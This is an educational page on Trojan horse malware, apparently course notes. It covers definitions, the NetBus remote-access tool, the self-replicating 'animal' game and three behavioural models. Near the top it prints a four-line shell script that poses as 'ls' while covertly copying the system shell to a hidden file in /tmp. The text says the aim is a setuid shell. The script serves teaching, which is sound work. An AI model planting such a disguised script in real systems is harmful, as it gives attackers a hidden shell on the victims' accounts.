Information Security: Malicious Software - Trojan Horse

Trojan Horses

A Trojan horse is a useful, or apparently useful, program or command procedure containing hidden code that, when invoked, performs some unwanted or harmful function.

A Trojan horse is a program with an overt (documented or known) effect and a covert (undocumented or unexpected) effect.

cp /bin/sh /tmp/.xxsh

chmod o+s,w+x /tmp/.xxsh

rm ./ls

ls $*

Example: In the above example, the overt purpose is to list the files in a directory. The covert purpose is to create a shell that is setuid to the user executing the script. Hence, this program is a Trojan horse.

Trojan horse programs can be used to accomplish functions indirectly that an unauthorized user could not accomplish directly. For example, to gain access to the files of another user on a shared system, a user could create a Trojan horse program that, when executed, changes the invoking user’s file permissions so that the files are readable by any user. The author could then induce users to run the program by placing it in a common directory and naming it such that it appears to be a useful utility program or application.

When a Trojan is activated on computer, the results can vary. Some Trojans are designed to be more annoying than malicious (like changing your desktop, adding silly active desktop icons) or they can cause serious damage by deleting files and destroying information on our system. Trojans are also known to create a backdoor on our computer that gives malicious users access to our system, possibly allowing confidential or personal information to be compromised. 


Example: The NetBus program allows an attacker to control a Windows NT workstation remotely. The attacker can intercept keystrokes or mouse motions, upload and download files, and act as a system administrator would act. In order for this program to work, the victim Windows NT system must have a server with which the NetBus program can communicate. This requires someone on the victim's system to load and execute a small program that runs the server.

This small program was placed in several small game programs as well as in some other "fun" programs, which could be distributed to Web sites where unsuspecting users would be likely to download them.

Trojan horses can make copies of themselves. One of the earliest Trojan horses was a version of the game animal. When this game was played, it created an extra copy of itself. These copies spread, taking up much room. The program was modified to delete one copy of the earlier version and create two copies of the modified program. Because it spread even more rapidly than the earlier version, the modified version of animal soon completely supplanted the earlier version. After a preset date, each copy of the later version deleted itself after it was played

A propagating Trojan horse (also called a replicating Trojan horse) is a Trojan horse that creates a copy of itself.

Trojan horses fit into one of three models:

• Continuing to perform the function of the original program and additionally performing a separate malicious activity 

• Continuing to perform the function of the original program but modifying the function to perform malicious activity (e.g., a Trojan horse version of a login program that collects passwords) or to disguise other malicious activity (e.g., a Trojan horse version of a process listing program that does not display certain processes that are malicious) 

• Performing a malicious function that completely replaces the function of the original program